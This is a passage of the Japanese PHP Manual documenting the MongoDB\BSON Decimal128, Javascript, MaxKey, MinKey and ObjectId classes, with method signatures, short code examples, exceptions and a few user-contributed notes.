
  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if value is not a valid decimal string.

例

例1 MongoDB\BSON\Decimal128::__construct() example

<?php

var_dump(new MongoDB\BSON\Decimal128(1234.5678));
var_dump(new MongoDB\BSON\Decimal128(NAN));
var_dump(new MongoDB\BSON\Decimal128(INF));

?>

上の例の出力は、 たとえば以下のようになります。

object(MongoDB\BSON\Decimal128)#1 (1) {
  ["dec"]=>
  string(9) "1234.5678"
}
object(MongoDB\BSON\Decimal128)#1 (1) {
  ["dec"]=>
  string(3) "NaN"
}
object(MongoDB\BSON\Decimal128)#1 (1) {
  ["dec"]=>
  string(8) "Infinity"
}

参考

  • » Decimal128 floating-point format
  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ≪ MongoDB\BSON\Decimal128::__construct
  • MongoDB\BSON\Decimal128::serialize ≫
  • PHP Manual
  • MongoDB\BSON\Decimal128
  • Returns a representation that can be converted to JSON

MongoDB\BSON\Decimal128::jsonSerialize

(mongodb >=1.2.0)

MongoDB\BSON\Decimal128::jsonSerialize — Returns a representation that can be converted to JSON

説明

final public MongoDB\BSON\Decimal128::jsonSerialize ( ) : mixed

パラメータ

この関数にはパラメータはありません。

返り値

Returns data which can be serialized by json_encode() to produce an extended JSON representation of the MongoDB\BSON\Decimal128.

注意: The output is consistent with the MongoDB\BSON\toJSON() function, which uses the driver-specific legacy extended JSON format. This does not necessarily match the » relaxed or » canonical extended JSON representations used by MongoDB\BSON\toRelaxedExtendedJSON() and MongoDB\BSON\toCanonicalExtendedJSON(), respectively.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • JsonSerializable::jsonSerialize() - JSON にシリアライズしたいデータを指定する
  • json_encode() - 値を JSON 形式にして返す
  • MongoDB\BSON\toCanonicalExtendedJSON() - Returns the Canonical Extended JSON representation of a BSON value
  • MongoDB\BSON\toRelaxedExtendedJSON() - Returns the Relaxed Extended JSON representation of a BSON value
  • » MongoDB Extended JSON

User Contributed Notes

There are no user contributed notes for this page.


Serialize a Decimal128

  • ≪ MongoDB\BSON\Decimal128::jsonSerialize
  • MongoDB\BSON\Decimal128::__toString ≫
  • PHP Manual
  • MongoDB\BSON\Decimal128
  • Serialize a Decimal128

MongoDB\BSON\Decimal128::serialize

(mongodb >=1.2.0)

MongoDB\BSON\Decimal128::serialize — Serialize a Decimal128

説明

final public MongoDB\BSON\Decimal128::serialize ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the serialized representation of the MongoDB\BSON\Decimal128.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\BSON\Decimal128::unserialize() - Unserialize a Decimal128
  • serialize() - 値の保存可能な表現を生成する
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


Returns the string representation of this Decimal128

  • ≪ MongoDB\BSON\Decimal128::serialize
  • MongoDB\BSON\Decimal128::unserialize ≫
  • PHP Manual
  • MongoDB\BSON\Decimal128
  • Returns the string representation of this Decimal128

MongoDB\BSON\Decimal128::__toString

(mongodb >=1.2.0)

MongoDB\BSON\Decimal128::__toString — Returns the string representation of this Decimal128

説明

final public MongoDB\BSON\Decimal128::__toString ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the string representation of this Decimal128.

例

例1 MongoDB\BSON\Decimal128::__toString() example

<?php

var_dump((string) new MongoDB\BSON\Decimal128(1234.5678));
var_dump((string) new MongoDB\BSON\Decimal128(NAN));
var_dump((string) new MongoDB\BSON\Decimal128(INF));

?>

上の例の出力は、 たとえば以下のようになります。

string(9) "1234.5678"
string(3) "NaN"
string(8) "Infinity"

参考

  • » Decimal128 floating-point format
  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Unserialize a Decimal128

  • ≪ MongoDB\BSON\Decimal128::__toString
  • MongoDB\BSON\Javascript ≫
  • PHP Manual
  • MongoDB\BSON\Decimal128
  • Unserialize a Decimal128

MongoDB\BSON\Decimal128::unserialize

(mongodb >=1.2.0)

MongoDB\BSON\Decimal128::unserialize — Unserialize a Decimal128

説明

final public MongoDB\BSON\Decimal128::unserialize ( string $serialized ) : void

パラメータ

serialized

The serialized MongoDB\BSON\Decimal128.

返り値

Returns the unserialized MongoDB\BSON\Decimal128.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the properties cannot be unserialized (i.e. serialized was malformed).
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the properties are invalid (e.g. missing fields or invalid values).

参考

  • MongoDB\BSON\Decimal128::serialize() - Serialize a Decimal128
  • unserialize() - 保存用表現から PHP の値を生成する
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\Javascript class

(mongodb >=1.0.0)

はじめに

BSON type for Javascript code. An optional scope document may be specified that maps identifiers to values and defines the scope in which the code should be evaluated by the server.

注意: This BSON type is mainly used when executing database commands that take a Javascript function as a parameter, such as » mapReduce.

クラス概要

final MongoDB\BSON\Javascript implements MongoDB\BSON\JavascriptInterface , MongoDB\BSON\Type , Serializable , JsonSerializable {
/* メソッド */
final public __construct ( string $code , array|object $scope = ? )
final public getCode ( ) : string
final public getScope ( ) : object|null
final public jsonSerialize ( ) : mixed
final public serialize ( ) : string
final public __toString ( ) : string
final public unserialize ( string $serialized ) : void
}

変更履歴

バージョン | 説明
PECL mongodb 1.3.0 | Implements MongoDB\BSON\JavascriptInterface.
PECL mongodb 1.2.0 | Implements Serializable and JsonSerializable.

目次

  • MongoDB\BSON\Javascript::__construct — Construct a new Javascript
  • MongoDB\BSON\Javascript::getCode — Returns the Javascript's code
  • MongoDB\BSON\Javascript::getScope — Returns the Javascript's scope document
  • MongoDB\BSON\Javascript::jsonSerialize — Returns a representation that can be converted to JSON
  • MongoDB\BSON\Javascript::serialize — Serialize a Javascript
  • MongoDB\BSON\Javascript::__toString — Returns the Javascript's code
  • MongoDB\BSON\Javascript::unserialize — Unserialize a Javascript

User Contributed Notes

There are no user contributed notes for this page.


Construct a new Javascript

  • ≪ MongoDB\BSON\Javascript
  • MongoDB\BSON\Javascript::getCode ≫
  • PHP Manual
  • MongoDB\BSON\Javascript
  • Construct a new Javascript

MongoDB\BSON\Javascript::__construct

(mongodb >=1.0.0)

MongoDB\BSON\Javascript::__construct — Construct a new Javascript

説明

final public MongoDB\BSON\Javascript::__construct ( string $code , array|object $scope = ? )

パラメータ

code (string)

Javascript code.

scope (array|object)

Javascript scope.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if code contains null bytes.

変更履歴

バージョン | 説明
PECL mongodb 1.2.0 | MongoDB\Driver\Exception\InvalidArgumentException is thrown if code contains null bytes. Previously, values would be truncated at the first null byte.

例

例1 MongoDB\BSON\Javascript::__construct() example

<?php

$code = new MongoDB\BSON\Javascript('function() { return 1; }');
var_dump($code);

$codews = new MongoDB\BSON\Javascript('function() { return foo; }', ['foo' => 'bar']);
var_dump($codews);

?>

上の例の出力は以下となります。

object(MongoDB\BSON\Javascript)#1 (2) {
  ["javascript"]=>
  string(24) "function() { return 1; }"
  ["scope"]=>
  object(stdClass)#2 (0) {
  }
}
object(MongoDB\BSON\Javascript)#2 (2) {
  ["javascript"]=>
  string(26) "function() { return foo; }"
  ["scope"]=>
  object(stdClass)#1 (1) {
    ["foo"]=>
    string(3) "bar"
  }
}

参考

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns the Javascript's code

  • ≪ MongoDB\BSON\Javascript::__construct
  • MongoDB\BSON\Javascript::getScope ≫
  • PHP Manual
  • MongoDB\BSON\Javascript
  • Returns the Javascript's code

MongoDB\BSON\Javascript::getCode

(mongodb >=1.2.0)

MongoDB\BSON\Javascript::getCode — Returns the Javascript's code

説明

final public MongoDB\BSON\Javascript::getCode ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the Javascript's code.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\BSON\Javascript::getCode() example

<?php

$js = new MongoDB\BSON\Javascript('function foo(bar) { return bar; }');
var_dump($js->getCode());

?>

上の例の出力は以下となります。

string(33) "function foo(bar) { return bar; }"

参考

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns the Javascript's scope document

  • ≪ MongoDB\BSON\Javascript::getCode
  • MongoDB\BSON\Javascript::jsonSerialize ≫
  • PHP Manual
  • MongoDB\BSON\Javascript
  • Returns the Javascript's scope document

MongoDB\BSON\Javascript::getScope

(mongodb >=1.2.0)

MongoDB\BSON\Javascript::getScope — Returns the Javascript's scope document

説明

final public MongoDB\BSON\Javascript::getScope ( ) : object|null

パラメータ

この関数にはパラメータはありません。

返り値

Returns the Javascript's scope document, or null if the is no scope.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\BSON\Javascript::getScope() example

<?php

$js = new MongoDB\BSON\Javascript('function foo(bar) { return bar; }');
var_dump($js->getScope());

$js = new MongoDB\BSON\Javascript('function foo() { return foo; }', ['foo' => 42]);
var_dump($js->getScope());

?>

上の例の出力は以下となります。

NULL
object(stdClass)#1 (1) {
  ["foo"]=>
  int(42)
}

参考

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ≪ MongoDB\BSON\Javascript::getScope
  • MongoDB\BSON\Javascript::serialize ≫
  • PHP Manual
  • MongoDB\BSON\Javascript
  • Returns a representation that can be converted to JSON

MongoDB\BSON\Javascript::jsonSerialize

(mongodb >=1.2.0)

MongoDB\BSON\Javascript::jsonSerialize — Returns a representation that can be converted to JSON

説明

final public MongoDB\BSON\Javascript::jsonSerialize ( ) : mixed

パラメータ

この関数にはパラメータはありません。

返り値

Returns data which can be serialized by json_encode() to produce an extended JSON representation of the MongoDB\BSON\Javascript.

注意: The output is consistent with the MongoDB\BSON\toJSON() function, which uses the driver-specific legacy extended JSON format. This does not necessarily match the » relaxed or » canonical extended JSON representations used by MongoDB\BSON\toRelaxedExtendedJSON() and MongoDB\BSON\toCanonicalExtendedJSON(), respectively.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • JsonSerializable::jsonSerialize() - JSON にシリアライズしたいデータを指定する
  • json_encode() - 値を JSON 形式にして返す
  • MongoDB\BSON\toCanonicalExtendedJSON() - Returns the Canonical Extended JSON representation of a BSON value
  • MongoDB\BSON\toRelaxedExtendedJSON() - Returns the Relaxed Extended JSON representation of a BSON value
  • » MongoDB Extended JSON

User Contributed Notes

There are no user contributed notes for this page.


Serialize a Javascript

  • ≪ MongoDB\BSON\Javascript::jsonSerialize
  • MongoDB\BSON\Javascript::__toString ≫
  • PHP Manual
  • MongoDB\BSON\Javascript
  • Serialize a Javascript

MongoDB\BSON\Javascript::serialize

(mongodb >=1.2.0)

MongoDB\BSON\Javascript::serialize — Serialize a Javascript

説明

final public MongoDB\BSON\Javascript::serialize ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the serialized representation of the MongoDB\BSON\Javascript.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\BSON\Javascript::unserialize() - Unserialize a Javascript
  • serialize() - 値の保存可能な表現を生成する
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


Returns the Javascript's code

  • ≪ MongoDB\BSON\Javascript::serialize
  • MongoDB\BSON\Javascript::unserialize ≫
  • PHP Manual
  • MongoDB\BSON\Javascript
  • Returns the Javascript's code

MongoDB\BSON\Javascript::__toString

(mongodb >=1.2.0)

MongoDB\BSON\Javascript::__toString — Returns the Javascript's code

説明

final public MongoDB\BSON\Javascript::__toString ( ) : string

このメソッドは次のメソッドのエイリアスです。 MongoDB\BSON\Javascript::getCode().

パラメータ

この関数にはパラメータはありません。

返り値

Returns the Javascript's code.

例

例1 MongoDB\BSON\Javascript::__toString() example

<?php

var_dump((string) new MongoDB\BSON\Javascript('function foo(bar) { return bar; }'));

?>

上の例の出力は以下となります。

string(33) "function foo(bar) { return bar; }"

参考

  • MongoDB\BSON\Javascript::getCode() - Returns the Javascript's code
  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Unserialize a Javascript

  • ≪ MongoDB\BSON\Javascript::__toString
  • MongoDB\BSON\MaxKey ≫
  • PHP Manual
  • MongoDB\BSON\Javascript
  • Unserialize a Javascript

MongoDB\BSON\Javascript::unserialize

(mongodb >=1.2.0)

MongoDB\BSON\Javascript::unserialize — Unserialize a Javascript

説明

final public MongoDB\BSON\Javascript::unserialize ( string $serialized ) : void

パラメータ

serialized

The serialized MongoDB\BSON\Javascript.

返り値

Returns the unserialized MongoDB\BSON\Javascript.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the properties cannot be unserialized (i.e. serialized was malformed).
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the properties are invalid (e.g. missing fields or invalid values).

参考

  • MongoDB\BSON\Javascript::serialize() - Serialize a Javascript
  • unserialize() - 保存用表現から PHP の値を生成する
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\MaxKey class

(mongodb >=1.0.0)

はじめに

Special BSON type which compares higher than all other possible BSON element values.

注意: This is an internal MongoDB type used for indexing and sharding.

クラス概要

final MongoDB\BSON\MaxKey implements MongoDB\BSON\MaxKeyInterface , MongoDB\BSON\Type , Serializable , JsonSerializable {
/* メソッド */
final public __construct ( )
final public jsonSerialize ( ) : mixed
final public serialize ( ) : string
final public unserialize ( string $serialized ) : void
}

変更履歴

バージョン | 説明
PECL mongodb 1.3.0 | Implements MongoDB\BSON\MaxKeyInterface.
PECL mongodb 1.2.0 | Implements Serializable and JsonSerializable.

目次

  • MongoDB\BSON\MaxKey::__construct — Construct a new MaxKey
  • MongoDB\BSON\MaxKey::jsonSerialize — Returns a representation that can be converted to JSON
  • MongoDB\BSON\MaxKey::serialize — Serialize a MaxKey
  • MongoDB\BSON\MaxKey::unserialize — Unserialize a MaxKey

User Contributed Notes

There are no user contributed notes for this page.


Construct a new MaxKey

  • ≪ MongoDB\BSON\MaxKey
  • MongoDB\BSON\MaxKey::jsonSerialize ≫
  • PHP Manual
  • MongoDB\BSON\MaxKey
  • Construct a new MaxKey

MongoDB\BSON\MaxKey::__construct

(mongodb >=1.0.0)

MongoDB\BSON\MaxKey::__construct — Construct a new MaxKey

説明

final public MongoDB\BSON\MaxKey::__construct ( )

パラメータ

この関数にはパラメータはありません。

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\BSON\MaxKey::__construct() example

<?php

var_dump(new MongoDB\BSON\MaxKey());

?>

上の例の出力は以下となります。

object(MongoDB\BSON\MaxKey)#1 (0) {
}

参考

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ≪ MongoDB\BSON\MaxKey::__construct
  • MongoDB\BSON\MaxKey::serialize ≫
  • PHP Manual
  • MongoDB\BSON\MaxKey
  • Returns a representation that can be converted to JSON

MongoDB\BSON\MaxKey::jsonSerialize

(mongodb >=1.2.0)

MongoDB\BSON\MaxKey::jsonSerialize — Returns a representation that can be converted to JSON

説明

final public MongoDB\BSON\MaxKey::jsonSerialize ( ) : mixed

パラメータ

この関数にはパラメータはありません。

返り値

Returns data which can be serialized by json_encode() to produce an extended JSON representation of the MongoDB\BSON\MaxKey.

注意: The output is consistent with the MongoDB\BSON\toJSON() function, which uses the driver-specific legacy extended JSON format. This does not necessarily match the » relaxed or » canonical extended JSON representations used by MongoDB\BSON\toRelaxedExtendedJSON() and MongoDB\BSON\toCanonicalExtendedJSON(), respectively.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • JsonSerializable::jsonSerialize() - JSON にシリアライズしたいデータを指定する
  • json_encode() - 値を JSON 形式にして返す
  • MongoDB\BSON\toCanonicalExtendedJSON() - Returns the Canonical Extended JSON representation of a BSON value
  • MongoDB\BSON\toRelaxedExtendedJSON() - Returns the Relaxed Extended JSON representation of a BSON value
  • » MongoDB Extended JSON

User Contributed Notes

There are no user contributed notes for this page.


Serialize a MaxKey

  • ≪ MongoDB\BSON\MaxKey::jsonSerialize
  • MongoDB\BSON\MaxKey::unserialize ≫
  • PHP Manual
  • MongoDB\BSON\MaxKey
  • Serialize a MaxKey

MongoDB\BSON\MaxKey::serialize

(mongodb >=1.2.0)

MongoDB\BSON\MaxKey::serialize — Serialize a MaxKey

説明

final public MongoDB\BSON\MaxKey::serialize ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the serialized representation of the MongoDB\BSON\MaxKey.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\BSON\MaxKey::unserialize() - Unserialize a MaxKey
  • serialize() - 値の保存可能な表現を生成する
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


Unserialize a MaxKey

  • ≪ MongoDB\BSON\MaxKey::serialize
  • MongoDB\BSON\MinKey ≫
  • PHP Manual
  • MongoDB\BSON\MaxKey
  • Unserialize a MaxKey

MongoDB\BSON\MaxKey::unserialize

(mongodb >=1.2.0)

MongoDB\BSON\MaxKey::unserialize — Unserialize a MaxKey

説明

final public MongoDB\BSON\MaxKey::unserialize ( string $serialized ) : void

パラメータ

serialized

The serialized MongoDB\BSON\MaxKey.

返り値

Returns the unserialized MongoDB\BSON\MaxKey.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\BSON\MaxKey::serialize() - Serialize a MaxKey
  • unserialize() - 保存用表現から PHP の値を生成する
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\MinKey class

(mongodb >=1.0.0)

はじめに

Special BSON type which compares lower than all other possible BSON element values.

注意: This is an internal MongoDB type used for indexing and sharding.

クラス概要

final MongoDB\BSON\MinKey implements MongoDB\BSON\MinKeyInterface , MongoDB\BSON\Type , Serializable , JsonSerializable {
/* メソッド */
final public __construct ( )
final public jsonSerialize ( ) : mixed
final public serialize ( ) : string
final public unserialize ( string $serialized ) : void
}

変更履歴

バージョン | 説明
PECL mongodb 1.3.0 | Implements MongoDB\BSON\MinKeyInterface.
PECL mongodb 1.2.0 | Implements Serializable and JsonSerializable.

目次

  • MongoDB\BSON\MinKey::__construct — Construct a new MinKey
  • MongoDB\BSON\MinKey::jsonSerialize — Returns a representation that can be converted to JSON
  • MongoDB\BSON\MinKey::serialize — Serialize a MinKey
  • MongoDB\BSON\MinKey::unserialize — Unserialize a MinKey

User Contributed Notes

There are no user contributed notes for this page.


Construct a new MinKey

  • ≪ MongoDB\BSON\MinKey
  • MongoDB\BSON\MinKey::jsonSerialize ≫
  • PHP Manual
  • MongoDB\BSON\MinKey
  • Construct a new MinKey

MongoDB\BSON\MinKey::__construct

(mongodb >=1.0.0)

MongoDB\BSON\MinKey::__construct — Construct a new MinKey

説明

final public MongoDB\BSON\MinKey::__construct ( )

パラメータ

この関数にはパラメータはありません。

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\BSON\MinKey::__construct() example

<?php

var_dump(new MongoDB\BSON\MinKey());

?>

上の例の出力は以下となります。

object(MongoDB\BSON\MinKey)#1 (0) {
}

参考

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ≪ MongoDB\BSON\MinKey::__construct
  • MongoDB\BSON\MinKey::serialize ≫
  • PHP Manual
  • MongoDB\BSON\MinKey
  • Returns a representation that can be converted to JSON

MongoDB\BSON\MinKey::jsonSerialize

(mongodb >=1.2.0)

MongoDB\BSON\MinKey::jsonSerialize — Returns a representation that can be converted to JSON

説明

final public MongoDB\BSON\MinKey::jsonSerialize ( ) : mixed

パラメータ

この関数にはパラメータはありません。

返り値

Returns data which can be serialized by json_encode() to produce an extended JSON representation of the MongoDB\BSON\MinKey.

注意: The output is consistent with the MongoDB\BSON\toJSON() function, which uses the driver-specific legacy extended JSON format. This does not necessarily match the » relaxed or » canonical extended JSON representations used by MongoDB\BSON\toRelaxedExtendedJSON() and MongoDB\BSON\toCanonicalExtendedJSON(), respectively.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • JsonSerializable::jsonSerialize() - JSON にシリアライズしたいデータを指定する
  • json_encode() - 値を JSON 形式にして返す
  • MongoDB\BSON\toCanonicalExtendedJSON() - Returns the Canonical Extended JSON representation of a BSON value
  • MongoDB\BSON\toRelaxedExtendedJSON() - Returns the Relaxed Extended JSON representation of a BSON value
  • » MongoDB Extended JSON

User Contributed Notes

There are no user contributed notes for this page.


Serialize a MinKey

  • ≪ MongoDB\BSON\MinKey::jsonSerialize
  • MongoDB\BSON\MinKey::unserialize ≫
  • PHP Manual
  • MongoDB\BSON\MinKey
  • Serialize a MinKey

MongoDB\BSON\MinKey::serialize

(mongodb >=1.2.0)

MongoDB\BSON\MinKey::serialize — Serialize a MinKey

説明

final public MongoDB\BSON\MinKey::serialize ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the serialized representation of the MongoDB\BSON\MinKey.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\BSON\MinKey::unserialize() - Unserialize a MinKey
  • serialize() - 値の保存可能な表現を生成する
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


Unserialize a MinKey

  • ≪ MongoDB\BSON\MinKey::serialize
  • MongoDB\BSON\ObjectId ≫
  • PHP Manual
  • MongoDB\BSON\MinKey
  • Unserialize a MinKey

MongoDB\BSON\MinKey::unserialize

(mongodb >=1.2.0)

MongoDB\BSON\MinKey::unserialize — Unserialize a MinKey

説明

final public MongoDB\BSON\MinKey::unserialize ( string $serialized ) : void

パラメータ

serialized

The serialized MongoDB\BSON\MinKey.

返り値

Returns the unserialized MongoDB\BSON\MinKey.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\BSON\MinKey::serialize() - Serialize a MinKey
  • unserialize() - 保存用表現から PHP の値を生成する
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\ObjectId class

(mongodb >=1.0.0)

はじめに

BSON type for an » ObjectId. The value consists of 12 bytes, where the first four bytes are a timestamp that reflect the ObjectId's creation. Specifically, the value consists of:

  • a 4-byte value representing the seconds since the Unix epoch,
  • a 5-byte random number unique to a machine and process, and
  • a 3-byte counter, starting with a random value.

In MongoDB, each document stored in a collection requires a unique _id field that acts as a primary key. If an inserted document omits the _id field, the driver automatically generates an ObjectId for the _id field.

Using ObjectIds for the _id field provides the following additional benefits:

  • The creation time of the ObjectId may be accessed using the MongoDB\BSON\ObjectId::getTimestamp() method.
  • Sorting on an _id field that stores ObjectId values is roughly equivalent to sorting by creation time.

クラス概要

final MongoDB\BSON\ObjectId implements MongoDB\BSON\ObjectIdInterface , MongoDB\BSON\Type , Serializable , JsonSerializable {
/* メソッド */
final public __construct ( string $id = ? )
final public getTimestamp ( ) : int
final public jsonSerialize ( ) : mixed
final public serialize ( ) : string
final public __toString ( ) : string
final public unserialize ( string $serialized ) : void
}

変更履歴

バージョン | 説明
PECL mongodb 1.3.0 | Renamed from MongoDB\BSON\ObjectID to MongoDB\BSON\ObjectId. Implements MongoDB\BSON\ObjectIdInterface.
PECL mongodb 1.2.0 | Implements Serializable and JsonSerializable.

目次

  • MongoDB\BSON\ObjectId::__construct — Construct a new ObjectId
  • MongoDB\BSON\ObjectId::getTimestamp — Returns the timestamp component of this ObjectId
  • MongoDB\BSON\ObjectId::jsonSerialize — Returns a representation that can be converted to JSON
  • MongoDB\BSON\ObjectId::serialize — Serialize an ObjectId
  • MongoDB\BSON\ObjectId::__toString — Returns the hexidecimal representation of this ObjectId
  • MongoDB\BSON\ObjectId::unserialize — Unserialize an ObjectId

User Contributed Notes

Mike T 25-May-2018 12:58
Worth noting this will throw an InvalidArgumentException if string is not in the correct format
naip1984 at gmail dot com 20-Dec-2017 01:44
I struggled for awhile to identify the way to find() using a ObjectID

This seems to work, I hope this helps someone else out.

$mongoId = '5a2493c33c95a1281836eb6a';

$collection->find(['_id'=> new MongoDB\BSON\ObjectId("$mongoId")]);

I found it here:   https://docs.mongodb.com/php-library/current/reference/method/MongoDBCollection-findOne/

Note this is for the PHP library, not the legacy library.


Construct a new ObjectId

  • ≪ MongoDB\BSON\ObjectId
  • MongoDB\BSON\ObjectId::getTimestamp ≫
  • PHP Manual
  • MongoDB\BSON\ObjectId
  • Construct a new ObjectId

MongoDB\BSON\ObjectId::__construct

(mongodb >=1.0.0)

MongoDB\BSON\ObjectId::__construct — Construct a new ObjectId

説明

final public MongoDB\BSON\ObjectId::__construct ( string $id = ? )

パラメータ

id (string)

A 24-character hexadecimal string. If not provided, the driver will generate an ObjectId.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if id is not a 24-character hexadecimal string.

例

例1 MongoDB\BSON\ObjectId::__construct() example

<?php

var_dump(new MongoDB\BSON\ObjectId());

var_dump(new MongoDB\BSON\ObjectId('000000000000000000000001'));

?>

上の例の出力は、 たとえば以下のようになります。

object(MongoDB\BSON\ObjectId)#1 (1) {
  ["oid"]=>
  string(24) "56732d3dda14d81214634921"
}
object(MongoDB\BSON\ObjectId)#1 (1) {
  ["oid"]=>
  string(24) "000000000000000000000001"
}

参考

  • » ObjectId Reference
  • » BSON Types: ObjectId

User Contributed Notes

fejlesztes at letscode dot hu 22-Jan-2016 01:35
If you pass NULL to the __construct() method, it wont throw exceptions, nor errors, but prematurely ends the PHP processing (so it produced an 502 response over nginx), not like the legacy MongoId class.


Returns the timestamp component of this ObjectId

  • ≪ MongoDB\BSON\ObjectId::__construct
  • MongoDB\BSON\ObjectId::jsonSerialize ≫
  • PHP Manual
  • MongoDB\BSON\ObjectId
  • Returns the timestamp component of this ObjectId

MongoDB\BSON\ObjectId::getTimestamp

(mongodb >=1.2.0)

MongoDB\BSON\ObjectId::getTimestamp — Returns the timestamp component of this ObjectId

説明

final public MongoDB\BSON\ObjectId::getTimestamp ( ) : int

The timestamp component of an ObjectId is its most significant 32 bits, which denotes the number of seconds since the Unix epoch. This value is read as an unsigned 32-bit integer with big-endian byte order.

注意: Because PHP's integer type is signed, some values returned by this method may appear as negative integers on 32-bit platforms. The "%u" formatter of sprintf() may be used to obtain a string representation of the unsigned decimal value.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the timestamp component of this ObjectId.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\BSON\ObjectId::getTimestamp() example

<?php

var_dump((new MongoDB\BSON\ObjectId())->getTimestamp());

var_dump((new MongoDB\BSON\ObjectId('0000002a0000000000000000'))->getTimestamp());

?>

上の例の出力は、 たとえば以下のようになります。

integer(1484854719)
integer(42)

参考

  • » ObjectId Reference
  • » BSON Types: ObjectId

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ≪ MongoDB\BSON\ObjectId::getTimestamp
  • MongoDB\BSON\ObjectId::serialize ≫
  • PHP Manual
  • MongoDB\BSON\ObjectId
  • Returns a representation that can be converted to JSON

MongoDB\BSON\ObjectId::jsonSerialize

(mongodb >=1.2.0)

MongoDB\BSON\ObjectId::jsonSerialize — Returns a representation that can be converted to JSON

説明

final public MongoDB\BSON\ObjectId::jsonSerialize ( ) : mixed

パラメータ

この関数にはパラメータはありません。

返り値

Returns data which can be serialized by json_encode() to produce an extended JSON representation of the MongoDB\BSON\ObjectId.

注意: The output is consistent with the MongoDB\BSON\toJSON() function, which uses the driver-specific legacy extended JSON format. This does not necessarily match the » relaxed or » canonical extended JSON representations used by MongoDB\BSON\toRelaxedExtendedJSON() and MongoDB\BSON\toCanonicalExtendedJSON(), respectively.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • JsonSerializable::jsonSerialize() - JSON にシリアライズしたいデータを指定する
  • json_encode() - 値を JSON 形式にして返す
  • MongoDB\BSON\toCanonicalExtendedJSON() - Returns the Canonical Extended JSON representation of a BSON value
  • MongoDB\BSON\toRelaxedExtendedJSON() - Returns the Relaxed Extended JSON representation of a BSON value
  • » MongoDB Extended JSON

User Contributed Notes

There are no user contributed notes for this page.


Serialize an ObjectId

  • ≪ MongoDB\BSON\ObjectId::jsonSerialize
  • MongoDB\BSON\ObjectId::__toString ≫
  • PHP Manual
  • MongoDB\BSON\ObjectId
  • Serialize an ObjectId

MongoDB\BSON\ObjectId::serialize

(mongodb >=1.2.0)

MongoDB\BSON\ObjectId::serialize — Serialize an ObjectId

説明

final public MongoDB\BSON\ObjectId::serialize ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

